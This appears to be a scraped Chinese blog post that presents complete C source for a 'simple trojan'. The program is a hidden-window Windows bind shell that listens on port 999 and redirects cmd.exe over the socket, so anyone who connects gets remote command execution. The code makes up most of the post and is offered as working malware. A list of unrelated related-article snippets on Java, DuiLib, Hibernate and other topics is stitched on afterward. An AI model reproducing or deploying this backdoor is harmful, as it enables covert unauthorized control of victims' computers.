一个简单木马程序的实现

实现一个简单的木马,一般需要客户端和服务端,为了便于实现,就用Windows自带的Telnet软件远程连接,服务端通过监听某个端口提供服务,类似于Telnet服务的后台程序。其服务端编程的基本原理如下:

1)打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接收客户请求。利用Socket和bind函数实现。

2)等待客户请求到达该端口。利用listen函数实现。

3)接收到重复服务请求,处理该请求并发送应答信号。利用accept函数实现。

4)返回第二步,接收另一客户请求。

5)关闭连接。利用closesock函数实现。

使用到的函数顺序如下:

socket()—>bind()—>listen—>accept()—>closesock()

实现代码如下:

#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 999 //定义监听端口

int main()
{
	WSADATA WSADa;
	sockaddr_in SockAddrin;
	SOCKET CSocket, SSocket;
	int AddrSize;
	PROCESS_INFORMATION Processinfo;
	STARTUPINFO Startupinfo;
	char szCMDPath[255];

	//配内存资源,初始化数据
	ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
	ZeroMemory(&WSADa, sizeof(WSADATA));

	//获取CMD路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

	//加载ws2_32.dll
	WSAStartup(0x202,&WSADa);

	//设置本地信息和绑定协议,建立socket
	SockAddrin.sin_family = AF_INET;
	SockAddrin.sin_addr.s_addr = INADDR_ANY;
	SockAddrin.sin_port = htons(MasterPort);
	CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

	//设置绑定断端口999
	bind(CSocket,(sockaddr*)&SockAddrin, sizeof(SockAddrin));

	//设置服务器监听端口
	listen(CSocket, 1);
	AddrSize = sizeof(SockAddrin);

	//开始连接远程服务器,并配置隐藏窗口结构体
	SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
	Startupinfo.cb = sizeof(STARTUPINFO);
	Startupinfo.wShowWindow = SW_HIDE;
	Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	Startupinfo.hStdInput = (HANDLE)SSocket;
	Startupinfo.hStdOutput = (HANDLE)SSocket;
	Startupinfo.hStdError = (HANDLE)SSocket;

	//创建匿名管道
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
	WaitForSingleObject(Processinfo.hProcess, INFINITE);
	CloseHandle(Processinfo.hProcess);
	CloseHandle(Processinfo.hThread);

	//关闭进程句柄
	closesocket(CSocket);
	closesocket(SSocket);
	WSACleanup();

	return 0;

}

一个简单木马程序的实现

时间: 2024-10-13 18:47:57

一个简单木马程序的实现的相关文章

JavaSE - 一个简单的程序对新手的启发

一个简单的程序: 题目:现在完成一个简单的程序,可以输出两个数字的乘方. public class TestJava{ public static void main(String args[]){ int num = 10 ; // 定义整型变量 num = 30 ; // 修改变量的内容 System.out.println("num的内容是:" + num) ; System.out.println("num * num = " + num * num) ;

DuiLib学习笔记2——写一个简单的程序

我们要独立出来自己创建一个项目,在我们自己的项目上加皮肤这才是初衷.我的新建项目名为:duilibTest 在duilib根目录下面有个 Duilib入门文档.doc 我们就按这个教程开始入门 首先新建一个win32项目 去DuiLib根目录,把目录下DuiLib文件夹拷贝到新建项目的根目录.再把这个项目添加进我们解决方案中. 从教程里面把以下代码粘贴到我们项目的stdafx.h中 // Duilib使用设置部分 #pragma once #define WIN32_LEAN_AND_MEAN

关于Hibernate的一个简单小程序

本人根据视频学习了一下三大框架中比较简单的一个Hibernate,并简单完成了一个运用Hibernate的小程序 Hibernate是一个简化web程序Dao层的一个框架,应用他,可以完全脱离sql语句 第一步:创建一个java项目,没有必要创建一个web项目,因为Hibernate本身是针对后台对数据库的操作的 第二步:导入jar包:可以在根目录下创建一个lib文件夹用来存放导入的jar包,当然要先下载Hibernate的资源包并解压,打开之后首先将根目录的两个jar包导入,截图如下 然后打开

用一个简单小程序谈import和from...import的区别

今天在自己写代码的过程中,设计到随机种子数量(参数),因为一个文件中可能用到这个参数不止一次甚至是不止一个文件会用到这个参数.对于训练一个数据集来说,如果当你的性能跑的差不多的话,肯定会改这个参数,那如果你在函数中给这个参数直接赋了值,后期改的时候牵动会很大,所以这个时候就要想着在另一个文件中单独定义这个参数,在其他文件中来调用.这个时候就涉及到了在一个文件中导入另一个文件中包含的某些功能比如类和函数. 自己特意写了简单的程序帮理解:先说明我是在test1文件中定义两个函数sum1()和sum2

[c++]通过一个简单的程序引出#define与typedef的区别

废话不多说,请看下面程序: #include<iostream> using namespace std; #define SIGN1 char* // typedef char * SIGN2;//typedef是一条语句所以以分号结尾 int main() { SIGN1 ch1,ch2; SIGN2 ch3,ch4; cout<<sizeof(ch1)<<" "<<sizeof(ch2)<<endl; cout<&

一个简单C程序的汇编代码分析

几个重要的寄存器 eip - 用于存放当前所执行的指令地址 esp - 栈(顶)指针寄存器 ebp - 基址(栈底)指针寄存器 简单的C程序 1 int g(int x) 2 { 3 return x + 10; 4 } 5 6 int f(int x) 7 { 8 return g(x); 9 } 10 11 int main(void) 12 { 13 return f(7) + 5; 14 } 汇编代码分析 1 g: 2 pushl %ebp 3 movl %esp, %ebp 4 :下面

c:how to program2.3另一个简单的程序:两个整数相加

我们下一个程序是用标注库中的scanf函数去获得用户输入的两个整型数,计算出他们的和并用printf打印出来,这个程序和输出在下面 //fig2.5// Addition program. #include <stdio.h> //function main begins program execution int main( void ) { int integer1; // first number to be entered by user int integer2; // second

初学者:简单的租车程序(敲了一晚)(想大神看看,为啥我一个简单的程序要敲这么多,可以怎么改进?)

/** * 创建一个接口实现租凭方法 * */package com.lxl.car; public interface Rent { void rent(int day,int num);} /** * 定义一个抽象的汽车类 属性:颜色,型号 ,租车的价格 * */package com.lxl.car; public abstract class Car implements Rent{ //构造方法 public Car(){} private String size;// 型号 priv

Ubuntu下创建一个简单c程序编译并运行

1.首先可以创建一个XXX文件夹命令:mkdir XXX 2.进入创建好的XXX文件夹:cd xxx (ps:返回上一层文件可以:cd /) 3.创建一个c程序文件:touch XXX.c 4.用vim编辑器对其进行编辑:vim XXX.c 5.编辑完可以通过快捷键shift+zz 保存并推出编辑器 6.用gcc编译并输入指定文件名:gcc XXX.C -o xxxxx.out 7.运行xxxx.out的命令是:./xxxxx.out ps:以上XXX和xxxxx均是省略的文件夹或者文件名,具体